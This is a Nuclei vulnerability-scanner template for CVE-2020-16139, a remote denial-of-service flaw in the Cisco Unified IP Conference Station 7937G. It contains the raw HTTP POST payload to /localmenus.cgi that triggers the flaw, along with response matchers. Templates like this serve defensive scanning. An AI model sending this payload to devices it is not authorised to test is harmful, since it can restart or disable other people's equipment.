nuclei-templates/http/cves/2020/CVE-2020-16139.yaml

id: CVE-2020-16139

info:
  name: Cisco Unified IP Conference Station 7937G - Denial-of-Service
  author: pikpikcu
  severity: high
  description: |
    Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.
  reference:
    - http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html
    - https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-16139
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-16139
    epss-score: 0.01181
    cpe: cpe:2.3:o:cisco:unified_ip_conference_station_7937g_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: unified_ip_conference_station_7937g_firmware
  tags: cve,cve2020,dos,cisco,packetstorm

http:
  - raw:
      - |
        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/xml"

      - type: word
        words:
          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

      - type: status
        status:
          - 200